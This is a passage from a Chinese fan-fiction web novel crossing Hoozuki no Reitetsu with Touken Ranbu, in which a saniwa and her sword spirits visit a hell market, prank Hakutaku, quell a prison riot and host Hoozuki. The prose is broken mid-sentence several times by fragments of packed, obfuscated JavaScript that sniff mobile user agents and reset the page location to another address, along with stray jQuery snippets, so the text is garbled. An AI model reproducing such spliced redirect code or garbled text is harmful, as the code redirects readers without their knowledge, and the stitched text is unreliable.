l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537789|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看起来应该味道不错。 千祈上前要了一串,摊主低头料理,隔着烧的噼啪响的炭火,对面飘来低醇的嗓音:“15元。”: 这声音——千祈猛地抬头。 烛台切?! 来真的啊? 独眼帅气的太刀眯了眯眼,语气中带着笑意。 “给,这位客人。” “嗯……谢谢老板。”不知道为什么,在阿香面前对着烛台切说出老板这个称呼,好奇怪。 “怎么了,千祈?”见千祈迟迟不动弹,阿香好奇地探过头来,一抬眼就见到带着围裙,装扮成老板的烛台切。 被烛台切的帅气脸庞闪到的阿香发出“哦呀”一声赞叹。 “是新的摊位吗?摊主很帅气,难怪能吸引那么多顾客。” 阿香接过千祈递过来的鱿鱼串,咬了一口。 “味道也不错。” “那、那就好。” 她有预感,这条街上绝对不止烛台切一个刃。 算了,刀剑们也是好心,就先享受当下的假期时光吧。 …… “每次来都会感叹,这里居然还有这么热闹的集市。” 桃太郎背着包,跟随前方惬意地在街上闲逛的白泽慢慢走。 “毕竟是三界交汇的地方嘛,热闹一些很正常的。啊,你好啊~” 戴着流苏耳饰,身穿白大褂的白泽慢慢踱步,对着旁边卖小吃的姑娘打了个招呼。 “除了一些地狱常见的特色,居然也买现世的东西。” 这里不单有常见的地狱特产,就连现世的照相机、洗衣机、连无人机这种东西都有在卖。 “当然。”白泽眯着眼笑道,“对大部分妖怪和狱卒来说现世的很多东西都很有趣呢。” “不过要小心哦,这里也有很多来自现世的诅咒物品流通。远离这些东西的话,连带着某个讨厌的家伙都可以远离。” 那家伙最喜欢这些奇奇怪怪带有诅咒的东西,最好是离这里远一点。 想到这里,白泽赶快催促桃太郎:“快快,我们往前面走。” 在这里多待一秒遇见鬼灯的概率就大一分。 桃太郎面无表情:“你和鬼灯大人的关系还是一如既往地差啊……” 明明长得那么相似,但在性格上却完全不一样,关系也奇差无比。 “来采购药材就不要提这种扫兴的家伙。”白泽死鱼眼,一副别再提这种事的表情。 桃太郎对此已经见怪不怪,只跟着白泽脚步往前走,眼睛却在周边不停打量各式各样的摊位。 带着块白布遮挡面容的做伞人、武士装扮却卖字画的小哥、穿得一身白色极近乎发光的面具摊主、还有不远处独眼的烤鱿鱼老板。 每个摊位面前围着的顾客真多啊……果然无论是现世、地狱还是天国的人喜欢的都差不多呢。 “什么摊位都无所谓啦,我只想快点买完药材然后去花街找小姐姐玩。” 白泽转头对桃太郎说完,回头却对上了熟人。 “哦呀,白泽大人……还有桃太郎?” 声音的主人是一名青色头发的美丽女子,腰上缠绕的标志性两条大蛇让桃太郎认出了对方。 26.第 26 章 “阿……” “阿香小姐!” 白泽热情的招呼声瞬间盖过了桃太郎。 桃太郎在一旁无奈扶额。 又来了,这家伙的老毛病。 只要遇见好看的小姐姐,白泽总会殷勤地上前搭讪。 阿香含笑回应:“许久未见,白泽大人和桃太郎先生来地狱是为了出诊的吗?” “不是哦,这次是来采购药材的。”白泽笑着解释,“这边集市偶尔能买到些与地狱相关的特色药材,价格比药材铺实惠不少。” 其实是因为这几天挥霍过度,连原本采购药材的预算都花在讨好各位小姐上了。迫不得已,才来这捡便宜。 桃太郎在心底默默补充。 “原来如此。”阿香了然点头。 终于有空能打招呼的桃太郎也立马说道: “阿香……以及这两位阁下好。我是桃太郎。” 阿香是白泽的老客户了,作为白泽的帮手,桃太郎自然认识这位众合地狱的主任辅佐官。但阿香身旁这两位他却没见过,因此只能这样称呼。 “那么,阿香不给我介绍一下旁边这位可爱的小姐吗?”白泽脸上的笑容愈发灿烂,目光灼灼地看向阿香身侧的千祈。 样貌也十分出众的药研藤四郎他都没给那么多关注。 “诶?是位女性吗?”桃太郎这才惊讶地仔细打量。 这才发现这一位身着大正时期风格男装的女子,身姿挺拔,气质独特。 也许是众合地狱的新狱卒? 阿香恍然想起,这位来自天国的神兽其实没见过刚来不久便前往现世执行任务的千祈,便顺势介绍: “这位是千祈,是鬼灯大人特别任命的新狱卒,主要负责追捕不久前在地狱作乱后逃逸的犯人。” 经她一提,白泽也想起前阵子地狱确实闹出过乱子,据说是有亡者越狱。当时他还特意打电话狠狠嘲笑了鬼灯一番。 结果被那个记仇的家伙用更狠的方式报复了回来。 “原来如此~”白泽的笑容顿时意味深长起来,带着几分玩笑地说道,“千祈小姐,有没有兴趣跳槽?在鬼灯那种冷脸的家伙手下工作一定很无趣吧。” “不如来我的药店吧?我给你开桃太郎三倍的工资!” “你这个见色忘义的混蛋!”桃太郎气得拳头都硬了,往日情分在此刻灰飞烟灭。 他必须揭露这家伙的真面目! “千祈小姐,千万别信这个花心大萝卜的鬼话!他可是一点——” “可以啊。”身着大正男装的女子却礼貌地颔首,神色从容,似乎并不在意。 “……钱都没有……” 阿香轻呼一声:“啊呀……” “不能相信这个男人说的话啊!”桃太郎痛心疾首,只能眼睁睁地看着对方跳入火坑。 “哦!真有魄力呢。” 千祈微微勾起唇角,慢条斯理地补上后半句: “不过呢,我这边情况有些特殊。如果雇佣了我,就等同于要一并接纳我的下属。” 她黝黑的眼眸中掠过一丝玩味,唇边的笑意愈发鲜明。 “你的……下属?”白泽微微一怔,感觉事情没那么简单。 千祈拍了拍身旁带着眼镜、身配短刀的少年。 “对,都是很专业的下属呢。例如这位药研藤四郎,医药、打下手、护卫都是非常可靠的帮手。” 看起来非常懂事且可靠的药研藤四郎向着白泽鞠了个躬,行动间尽显优雅风度。 “此外家中还有一些正在地狱兼职狱卒的下属,不知道白泽大人有没有意愿一并雇佣,鬼灯大人那边可是开了很可观的薪水呢。” “身为神兽的白泽大人,应该在薪资上没什么压力吧?” 白泽:坏了,冲他钱包来的。 想到这里,白泽试图用提问掩盖此前的玩笑:“冒昧问一下,这是……付丧神?你是术士?” 所谓术士,是有着能够召唤出妖怪并驱使妖怪能力者的称呼。 历史上有许多人有着这样的头衔。安倍晴明、平将门之女泷夜叉姬,乃至地狱十王之一五道转轮王也都是术士这个群体中的一员。 由于术士召唤的妖怪大多和召唤者羁绊很深,招揽一名术士也意味着要接纳术士手底下的妖怪。 但刀剑付丧神…… “倒是少见呢,居然有驭使刀剑付丧神的术士,你是某个传说故事里的原形之一吗?” 白泽有些好奇,能拥有好几位刀剑付丧神的术士,生前应该是将军或者什么华族大家的后裔吧。 “我只是普通的狱卒罢了。”千祈脸上的笑容未变,否认了白泽的猜测。 “是吗……?”只是一位的话还好,就算是他对霓虹的妖怪见识不多,但普通刀剑用久了诞生付丧神这种事情并不奇怪。可这位千祈小姐的言外之意好像并非只有一名付丧神啊。 更何况面前的这位可是自称药研藤四郎,在历史上也有名的刀剑之一。 “算了,之前的提问唐突了千祈小姐了,要不要一会一起逛个街什么的,我请客?”某只神兽并未深思,选择用别的方式和千祈以及阿香打好关系。 桃太郎:不是没钱吗? 却见白泽在前面疯狂眼神暗示桃太郎。 [借点,求求,会还的。] 桃太郎(大冤种):“可恶,最后不还是我请客!” * 这个集市实际上是依托大门口出来那条笔直的道路展开的,其中一头接近三界交界处的大门,另外一头则延伸进地狱。 也因此,他们和白泽他们来的方向是相反的,千祈和阿香没有逛过的小摊大多都是白泽桃太郎两人走过的地方。 千祈本想原路返回,白泽却不介意,表示道:“没关系,其实来的时候只顾着往药摊走了,现在正好慢慢逛,感觉卖的东西都很有意思呢。” “也不知道是谁之前说,这个集市几百年都一个样没什么好逛的。”桃太郎毫不留情地戳破某花心神兽的谎言。 “肯定不是我啦,陪美丽的小姐们逛街怎么会无聊呢。”白泽笑嘻嘻地说道,“是吧?” 桃太郎:“……” 千祈:想到一会发生什么她就想笑。 没走一会,几人便被某个纸伞摊子吸引了注意。 做伞的匠人专注地将纸黏上沾了胶水的伞骨,全神贯注地完成手中这柄纸伞。 他周身围着几名路人,都是打算买一柄纸伞的买家。 “定制……题字纸伞。”阿香念出招牌上的字样。 招牌上的字写得极好,为了点缀还画了些浮世绘风格的画。 桃太郎:“我就不需要了,平常用不上,小白他们也不需要这个。” 药研:“我也是。” “什么样式的伞都可以做吗?比起题字我更想要有蛇画的纸伞。”阿香望着架子上的伞有些意动。 “那我来画给阿香画一柄大蛇的纸伞怎么样?” “非常感谢,我还是要一柄白伞找茄子画一画算了。” 想到这位神兽堪称“泣鬼神”的画工,阿香拒绝了对方的自荐,挑了一把青色的伞。 “真遗憾呢,我也要一把伞就好了,正好可以拿来送给病人。那千祈小姐呢?”没有为阿香的拒绝感到沮丧,白泽目光转向千祈,询问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559055|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 千祈闭目。 果然,她就说本丸那群刀绝对不可能只派出小光一个,后面肯定还有! 看看,现在连老实刃山姥切都让他们弄出来卖伞了。 话说山姥切居然会做伞吗?还有那个招牌上的画……看起来似乎是歌仙的手笔。 “千祈?”阿香担心地问道,“是有什么事情吗?感觉你从刚刚就有些心不在焉的样子。” 难道是身体不舒服吗? 千祈猛地回神,赶忙摇头,掩盖自己的异样:“没有,只是突然想起从现世带来的那个身上充满灵力的孩子,之前说回来就找五道转轮王的,结果十王们去出云开会了,也不知道这个孩子这样放着会不会出问题。” 她指的是侨梅。之前五道轮转王的说明书太过抽象,她本来打算亲自带着侨梅上门拜访。不想这次回来正好遇到出云神明聚会,在会议结束前侨梅只能维持猫猫的状态。 不过十王出差时间不长,地狱的环境其实也很适合侨梅疗养,加上鬼灯见多识广,确定了侨梅目前没什么大碍后就没有多管。 目前她正在本丸和五虎退的大虎、鸣狐的小狐狸等小动物一起快乐玩耍。 白泽指了指自己,孔雀开屏之态溢于言表:“需要治疗吗,我倒是可以为千祈小姐免单哦!鬼灯那家伙再怎么说都没有我这样经验丰富的医师专业——” “咔——”枝干断裂的声音突兀地打断白泽的话语。 “抱歉,不小心折断了。”金发的摊主面无表情地道歉,默默将坏掉的伞放到后面,重新将伞包装好放到盒子里。 “给,这是三柄伞,就当做是赔偿。” “哦,谢谢。这样大家就都有了。”白泽接下东西,将多出来的那一柄伞递给千祈。 “谢谢,”千祈接过伞,又婉言谢绝了白泽的热心,“有空我会带侨梅找白泽大人的,多谢白泽大人的关心。” 她敢打赌,白泽手里拿把伞绝对不是什么正经玩意。 几人继续往前逛。 集市上的东西玲琅满目,有神兽白泽在场解说,很多有趣的东西阿香和千祈都会停下来看一看。 不知不觉间几人手里的东西就多了起来。连药研和桃太郎手里都多了好几个袋子。 桃太郎的钱包也逐渐消瘦。 “呀——虽说大部分摊主都很好心地赠送东西,但回过头来还是花了不少钱呢。” “出钱的又不是你,你感叹什么呢!”桃太郎怒斥白泽。 说来也巧,今天遇到的大多数摊贩老板都非常热情,颜值也不错。看见他们一行人之后也会以各种理由塞一些小礼品。 当然,里面也有那么几个臭着脸给他脸色看的。但最后还是非常别扭地给了白泽一些赠品。 白泽很满意,也没那么在意老板为什么唯独对他不满了。 逛了一下午,白泽也突然想起自己其实还要买药材,便和千祈几人分开。 阿香在白泽和桃太郎离开后也打算回家。临走之前还关心了一番千祈对身体。 “我看刚刚你的状态一直不对,如果有什么不舒服还是尽早回去休息吧,别总思考工作上的事情劳心劳力了。” 千祈乖巧回答:“好的,谢谢阿香姐。” 目送阿香离开后,千祈走向离自己最近的面具摊位,对着面带狐狸面具的摊主无奈道: “我说,你们的恶作剧应该不会太过分吧,那可是神兽白泽。” “不会,他有意见都会冲我来,你不用担心。” 头戴恶鬼面具,万年不变身着辅佐官那身红黑制服的鬼灯从面具架子后面出现。 “鬼灯大人?” 27.第 27 章 鬼灯的出现让千祈有些意外,她本以为这个时间鬼灯应该会在阎魔殿加班加到天昏地暗。 虽说自己有时候也会因为各种原因主动加班,但她和鬼灯还是不一样的。 毕竟鬼灯是真的很喜欢上班。 但她不是。 那这次鬼灯来这里干什么?可别说叫她去加班,三倍工资固然很好,但休息时光尤为可贵。 “虽然不知道你具体在想什么,但很遗憾,我暂时没有什么需要交给你的工作。” 加班狂魔如是说。 “没有工作上的问题这种事,倒也不必那么遗憾。” 是作为上司,在下属休息期间上司本人与其相关的一切事物都不要出现在她面前是最好的。 ——这是在时之政府被垃圾前上司弄出PTSD后,千祈对上司最大的要求。 千祈不知道说什么好,顿了顿,想了几秒后问道:“那鬼灯大人专门找到我的刀剑们捉弄白泽大人,只是个人爱好吗?” 总不可能是工作之余的消遣吧。 此时的面具摊前,看客也变得稀少。 有鬼灯这样气场强烈的鬼守在摊子旁边,路人也顾不上这个摊子面前的帅哥美女多么吸睛,一两个的都绕道走。 而原来蹲在摊子旁边,头戴狐狸面具的鹤丸国永则是往后一步,和药研藤四郎一起站在千祈左右,呈现护卫的姿态。 “有一部分这个原因。加上本来是来地狱门这边视察,顺便看一看这边的集市有没有非法交易。” “但看到某只花心神兽在祸害无辜女性,没能忍住出手。”冷脸的地狱第一辅佐官言语中毫不掩饰对某只神兽的嫌弃,补了一句,“我能忍住揍他的冲动已经很好了。” “该说你坦诚还是……”千祈再一次被鬼灯的回答噎到。 那位神兽白泽虽然表里如一的是个花心神兽,看到好看的姑娘都会自来熟地说几句话,并且热情邀请姑娘一起玩。 但是他也算是举止有分寸,从不会胡搅蛮缠。总体上来说和鬼灯的性格和行事作风完全背道而驰。 明明是非常相似两张脸啊。 就连鬼灯的青梅竹马,阿香小姐也曾经说过: 【怎么说呢,但凡鬼灯大人和白泽一起中和一下,感觉就是非常好的对象呢……】 那位白泽大人似乎对大部分女性都来者不拒,太过花心。 而鬼灯非常有责任心,却一心扑在工作上,最大的爱好不过是金鱼草。 下属的呢喃被鬼灯听在耳里。 鬼灯摇摇头,对现在的状态十分满意:“我觉得现在这样很好,那家伙的特质我一个都不想沾。” 是啊,毕竟鬼灯大人除了工作,真正爱的是金鱼草。 阎魔殿连公共浴场都已经长满了金鱼草,此前千祈在阎魔殿陪着鬼灯翻卷宗时,特意提出想要泡一泡著名的地狱温泉。 当她打开深夜的浴池大门后,成功地被金鱼草一阵阵尖叫造成的声浪吓跑。 一问才知道,这个金鱼草晚期爱好者已经丧心病狂到要把金鱼草种在浴场进行观察实验。 “大将。” 千祈稍微有些跑偏的思绪被身后药研藤四郎的轻声提醒拉了回来。 “抱歉抱歉,刚刚有些神游。” “不管怎么说,鬼灯大人既然来了,要不带点东西回去?” 千祈抬了抬手,将先前和阿香白泽等人路过的摊主、也就是她的刀剑们友情赠送的赠品给鬼灯看了看。 “有什么需要的吗?伞、扇子、小吃,如果喜欢的话都可以带走。” 说着,千祈突然想起,鬼灯身边总是跟着的两名座敷童子。 “为一子和二子带些小礼物也不错。” “十分感谢,可以的话我其实想要找鹤丸先生额外定制两个面具。”鬼灯指了指一个挂在架子上精致的狐狸面具,对千祈身后的鹤丸国永说道。 在获取千祈的颔首同意后,这位一身雪白到发亮,和地狱色彩格格不入的刀剑付丧神笑了笑,爽快地答应道: “当然,没问题。” * 回到本丸,千祈妆都来不及卸妆就一头扎进被褥。 换来了乱藤四郎的尖锐爆鸣() “主人!哒咩!” “不可以妆都不卸不洗漱就睡觉啊!” 乱藤四郎慌乱地把千祈对头从杯子和枕头里面扒拉出来。对门外的药研藤四郎发出请求。 “药研哥——或者楼下有人过来帮把手!” “不行了,乱酱,抱歉……腿已经不听使唤了。”千祈已然耗尽能量,有气无力地说道。 逛了一天街的千祈瘫软成一滩熟了的面条,滑溜溜地就要从乱藤四郎的手里溜走。 “喂,主人!发生什么事了?”乱藤四郎拼尽全力试图将千祈捞在怀里,身高却在此时尽显劣势。 “不行,身高不够,主人拖在地上。” 在关键时刻,千祈的身体被一双有力的小臂托住。 乱藤四郎感觉手上重量一轻,抬头一看,沉默的大俱利伽罗稳稳地将千祈抱起。 “帮大忙了,非常感谢,伽罗酱!” “……放哪?” 乱拍拍掀开后整理好的被褥说道: “这里这里,脸朝上。对!” 大俱利伽罗手臂用力时,其上的不显肌肉与青筋暴起,这双手拥有的力量随时能够把其上托举的女性轻易弄伤。 在放下时,轻柔克制的力度分毫没有惊醒沉睡的千祈。 “这样就好啦!”乱藤四郎端来一小盆水,盆边放着两三个瓶瓶罐罐。 他打开其中一个瓶子,倒了一些液体到浸湿的面巾上,轻轻揉搓。 “现在是什么情况,伽罗酱。” “不要这么奇怪的称呼我。”一向沉默的大俱利伽罗面无表情地说道,“药研藤四郎让我帮忙。” 和嘴里淡漠的言辞相比,大俱利伽罗手上为审神者解开固定头发皮筋的动作格外温柔。 “药研哥呢,他不是近侍吗,现在还没上来。” “他……”似乎是不知道该怎么形容,大俱利伽罗一向冷面的脸上出现了一丝困惑,最终作出了高度概括。 “加班,他们遇到了一些事情需要解决,现在正在加班。” “好的,完全明白了。” 主人的加班特殊体质绝对又发作了。 怪不得会累到来不及洗漱呢。 乱藤四郎一边想着,一边把另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580400|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外一瓶液体倒出一些,抹在千祈脸上。 被肆意揉搓脸蛋的千祈毫无反应,睡得格外沉,任由乱藤四郎在脸上涂抹。 “这是什么”一直默默看着乱藤四郎动作的大俱利伽罗难得愿意和人交流,破天荒地问了一句。 “这是面部卸妆乳液,刚刚的是唇部和眼部专用的卸妆液。” “有什么区别?”不都是卸妆的吗。 “区别可大了,我和伽罗酱说哦,唇眼这种地方要专门用卸妆的产品去……” “没兴趣。” “明明是伽罗酱要我讲的!喂,你别走啊!” 大俱利伽罗站起身,关上门,无情地将乱藤四郎絮絮叨叨的抱怨阻挡在门后的天守阁。 “有需要再叫我。” * 地狱。 望着刑场内暴动后被压制住的罪犯,药研藤四郎长长叹了一口气。 “哟,药研,你那边处理好了吗?” 一身雪白,宛若神使的鹤丸国永一左一右扛着晕死过去的两名狱卒,轻松地看向药研。 他不太轻柔地把狱卒放到药研的面前,少年模样的黑发短刀则熟练地拿出绷带为狱卒包扎伤口。 “差不多,所以跑来你这边支援了。” 不远处,被镇压的罪犯身体不能动弹,嘴里还在念叨着“再来一杯”“科长我实在喝不下了”“完蛋了”之类的胡话。 鬼灯精力旺盛地提着狼牙棒,一棒一个小朋友,致力于把醉鬼抽成劲道的肉丸子。 “真是一片混乱呢,还好有鬼灯大人和主人出手,否则这些家伙绝对会把地狱闹翻天。” “到头来还是没能保卫住主人难得的假期。” “哈哈——” 把刀剑们摊位的赠品交给鬼灯后,千祈本以为今天的逛街活动圆满结束,却不想大叫唤地狱的那群犯人又一次起了乱子: 扮演上司的狱卒逼迫罪犯喝酒时嘴馋把自己喝醉了,犯人在酒桌文化(地狱版)的压迫下恶向胆边生,集结了一群醉鬼把狱卒打了一顿,还摸到了刑场的钥匙。 他们来晚了一步,大叫唤地狱的普通居民已经被这群醉鬼扰民弄得很头疼。 怂成一团的八岐大蛇迫不得已下拨打找到了正在逛街的鬼灯。 正好,千祈和正准备收摊的刀剑男生们在鬼灯旁边。 于是,接下来就是喜闻乐见的加班环节。 “还好有主人的灵力,否则抓这些逃跑游荡的罪犯真的很头疼呢。” 依托千祈对灵力的使用,这些罪犯被灵力线固定在原地,这才在最快的时间内把局面控制好。 代价也很明显,地狱宣判的刑期往往都以十年以上为单位。哪怕现世与地狱时间流速不一样,大叫唤地狱需要服刑的亡者数量也十分众多。 一次性放出如此多灵力丝线固定亡者,对于千祈来说消耗十分大。 她被药研送到本丸的时候脚步基本上是飘起来的。 简单为狱卒包扎好,药研藤四郎站起身来,手里的短刀收起,转而拿出一根棒球棒。 “好,主人已经为我们做好了准备。接下来,就该我们清理垃圾了。” “希望这几天在学习到的狱卒技巧不会变得生疏。” 28.地狱本丸的一日(一) “面具,好看!” “狐狸,可爱!” 一子和二子各自拿着精美的狐面具,金色亮片点缀花纹,在灯光下闪闪发光。 两个面具分别在左右一侧做了一个小小的宝石坠设计,更显精致。 鬼灯放下系在狼牙棒上硕大的包裹,解开袋子,展示从集市上买回来的东西。 “今天去了一趟地狱大门,那边的集市很热闹,还遇到了新来的狱卒。” 他一边说话,一边把袋子里面各类稀奇古怪的东西往外拿。 “还买到了很少见的诅咒物品。” “诅咒的稻草人、带有怨气的茶壶,还有散发古怪气息的铃铛。” 一子和二子开心地将面具为彼此戴上,面具大小刚刚好,衬得两位座敷童子如同可爱的人偶一般。 “都是很少见的东西呢。” “很少见呢。”两小只撑着脸,重复着鬼灯的话。 鬼灯把属于自己的几个东西拿出来,包裹里还有很多点心玩具之类小孩子很喜欢的东西。 “剩下这些都是千祈给你们买的。” 一子二子看了看彼此,转过头来,眼里都是疑惑。 “千祈?”x2 对于座敷童子来说,阎魔殿就是她们的游乐场,这里工作的狱卒他们或许叫不出名字,但应该认识。 鬼灯想了想,补充道: “就是那个总是喜欢穿着茶色羽织,头发很简单地插着银簪,身边总是会有一两个带着刀的男性跟随。” 这么一说,一子和二子总算想起来了。 “我知道!” “大小姐!” 她们总喜欢在暗处观察工作的狱卒,大部分时候不会专门去记对方的名字,多以外号称呼。 即使在怪人众多的地狱中,千祈以及身边帅气的刀剑付丧神都是非常吸引注意力的组合。 但是这样的组合只是出现了几天便消失,只剩下偶尔出现在阎魔殿的刀剑付丧神。 “啊,你们可能不知道,她刚来不久就去现世外派了,前几天才回来,最近正在休假。” 一子和二子兴奋地拿着和糕点,虽然都是很普通的东西,但胜在无论是糕点还是玩具都做得十分精致。 哪怕是普通的手鞠球,也用上了不同的丝线装饰。 说到这里,鬼灯拿起桌子上的文件扫了一眼,对一子和二子说道: “正好我有相关的文件和工作需要找她,你们要一起去吗?我记得她家是那种传统日式房屋,还蛮大的。” 鬼灯顿了顿,补充道:“还有花园和后山哦。” 当时时之政府那边问地狱审批一块足够面积的土地用来放置千祈的本丸时,他还以为这是不是时之政府变相在这个世界划定区域搞大使馆。 虽然从某种程度上来说也算是。 一子和二子瞪大眼睛。 “!”x2 传统日式房屋! 带花园和后山! 这可是座敷童子最喜爱的住宅,现代社会下这种建筑群大多都改为旅游景点,很少有当做住宅使用。 这也是一子和二子愿意跟着鬼灯来到地狱阎王殿居住的原因。 一子和二子露出意外心动的表情。 看着两小只的表情,鬼灯也明白了。 “那就这样,走吧。” 从阎王殿正门出去不久,往附近拐几个小山丘,就能远远看到本丸的轮廓。 本丸的围墙逐渐出现在鬼灯和座敷童子眼前。望着眼前占地面积颇广的本丸,一子和二子兴奋地想要往里面钻,却被鬼灯拎着衣领,如同两只被扼住命运后颈脖的小猫一般。 将一子二子放在地上,鬼灯轻声教训道: “这样进去是不可以的。” 鬼灯指着本丸上空的灵力防护,在地狱红色的天空映衬下泛着微微光芒。 “先不说这个防护开着前提下你们进不去,这样不打招呼就往里面走是很不礼貌的行为。” 两位座敷童子蔫蔫地低头道歉。 一子:“对不起。” 二子:“很抱歉。” 诚恳地道了歉后,鬼灯摸了摸两人的头以示安慰,走到正门前站定,按下门铃。 “叮咚——叮咚——”门铃声音响了两声,旁边的喇叭在一阵刷拉电流声后播放人声。 “刷拉——嗨嗨,这里是审神者编号016,代号千祈的本丸,我是今日近侍乱藤四郎,请问客人是谁呢?” 鬼灯淡定自报家门:“我是地狱第一辅佐官鬼灯,来找千祈说一些工作上的事情。” 通讯那边在听到鬼灯的声音后手里的电话差点没拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612941|183324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳,电话在空中翻滚、与手掌之间的摩擦声清晰可闻,一阵慌乱后再次响起的是千祈的声音。 “鬼,鬼灯大人?” “是我,别太紧张,虽然有工作上的事情需要找你对接,但我来这趟主要是想要顺便拜访一下你家。” 鬼灯看了看一左一右扒在腿上,星星眼看着自己的一子和二子,补充道: “一子和二子很喜欢你送给她们的礼物,特地来感谢你。” “这样啊——”通话那头长吁一口气,一幅放心了的语气,再次说话时又变回了平日可靠的样子。 “你们先进来吧,我安排人接你们。” 在后续一阵“主人小心!”和千祈叫着“长谷部帮帮忙”的声音中,通话挂断。 没过一会,本丸的大门打开,神父袍外身披甲胄的灰发付丧神后退半步,侧身鞠躬。 “鬼灯大人,还有两位小姐,请进。” 鬼灯记得这位刀剑付丧神,是最开始千祈把整个本丸搬过来时,跟在身后的那一位。 这位刀剑付丧神的逸闻他也听过,和那位著名的第六天魔王有关。 “这是礼物。”黑发的一子递上拜访千祈的伴手礼,是她和二子非常喜欢的红豆味点心。 白发的二子则是好奇地问道:“你是管家吗?” 面前的刀剑付丧神腰背笔直,虽然穿着出阵服,但和历史上那种全身武装的一整套盔甲比起来,对方的竹甲多贴身穿戴,只有肩颈和腰腹处能明显看到外穿的甲胄。 加上压切长谷部手中常戴的白手套,喜欢在阎魔殿食堂追动漫的一子和二子首先想到的就是动漫中经常出现的,身穿燕尾服、容貌帅气且神秘的管家执事。 对现世动漫不是很了解的长谷部正经回答:“算是吧,虽然主人的近侍隔一段时间就会换一次,但我担任的时间是最长的。” 语气中不难发现对方隐隐的自豪。 “好厉害!” “还有很多吗?” 很多个身穿燕尾服,风格不一的执事聚集在两位座敷童子的脑袋里,多得都有些装不下了。 “走了。” 鬼灯对落在身后,还沉浸在想象里的一子和二子伸出手催促道。 “嗯!”x2 一子二子一左一右牵起鬼灯对手,向着本丸进发。 29.地狱本丸的一日(二) 长谷部带着鬼灯和一子二子走在前往会客室的路上。 其中需要经过一片面积颇大的前院。山茶花和各类现世庭院中常见的草木点缀着小径旁颇有禅意的枯山水。从其中一片落叶都没有的样子来看,庭院应该有人经常打理。 一子二子注意到白沙边缘有一个小小的,梅花一般的脚印,停下来看了看。 鬼灯打量着本丸的布局,感叹道:“之前只是从外面看就觉得整个本丸很大,没想到进来以后居然还有这么多的空间和建筑。” 他也拜访过时之政府的某个狐面男本丸,对比之下千祈的本丸也算是很大的那一类。 不算上后山,单本丸主体建筑就能够用建筑群来形容。足够容纳一两百人的部屋、占地面积不小的手合场、远处如果没看错,还有类似于舞台一样的地方? 算上后山、没有拜访的后院区域,以及正在路过的前庭庭院,感觉已经不能称作宅邸了。 和现世江户将军府不相上下啊。 其扩充发展离不开本丸财政首席——博多藤四郎的努力。 “啊,我还记得,刚到本丸的时候主人几乎不回本丸,基本上都在战场上,即使总能带回来很多小判和物资,却总是没有时间和精力去管理。” 压切长谷部在鬼灯问起时之政府是不是都会给审神者配备这么大的本丸时,长谷部回忆起了这个本丸最初的模样。 “最初的本丸建筑不多,除了必要的天守阁、厨房、我等刀剑的部屋、锻刀池、道场以及几块开垦的土地外,基本都是荒地。” “因此当时多出来的物资只能堆在部屋里,甚至占据了用来训练的道场。” 而还是新人的主人不知道为什么,每次出阵都会有很离谱的经历。 例如出阵迷路还找不到回本丸的罗盘,导致长达半个多月的时间内在历史战场上演极限生存,一边打退时不时出现的检非违使,一边小心打工搜寻资源度日,并且等待时之政府救援。 亦或是罗盘还在,却在打到王点的时候,意外发现王点链接着时间溯行军其中一个本丸,当务之急只能回时之政府摇人刷新副本。于是理所当然地和时间溯行军打了个昏天黑地,然后喜提前往时之政府大本营做汇报。 最离谱那次,时间溯行军把历史上某个但离历史上死亡时间线还差一段时间的家伙一刀砍了。正巧千祈带队降落点就在旁边,清理干净时间溯行军之后,发现这个倒在血泊中的倒霉蛋在历史上居然还是个小有名气的人物。 无奈之下千祈只能亲自上阵顶替这个家伙,直到对方历史上死亡的时间点才离开。 也因为这些莫名其妙的事件,导致本应在后方本丸负责运筹帷幄的文系审神者千祈,在多次被迫逗留历史战场的经历中成长为一名真正意义上的文武双修审神者。 审神者长时间不在本丸,无心扩建本丸,期间本丸化形的大部分刀剑付丧神也没有去动用小判和甲州金改善生活条件的想法。 刀剑嘛,有空间睡就行了,无论是从前还是现在,打仗的时候没有谁会挑剔居住的环境。 实在不行化成原形睡也可以。 即便如此,不断增加的资源依旧源源不断堆积在本丸,本丸空间严重不足。 “就在这个时候,为了消耗爆仓的资源,疯狂替主人锻刀的我帮主人显化出了博多藤四郎,在那之后本丸才一点点扩大起来的。” 为此长谷部十分庆幸:“还好有博多,没有他,本丸也很难发展成现在这个规模。” 博多显现后,看到凌乱不堪的本丸以及堆积如山的小判,如同老鼠掉进粮仓一样。 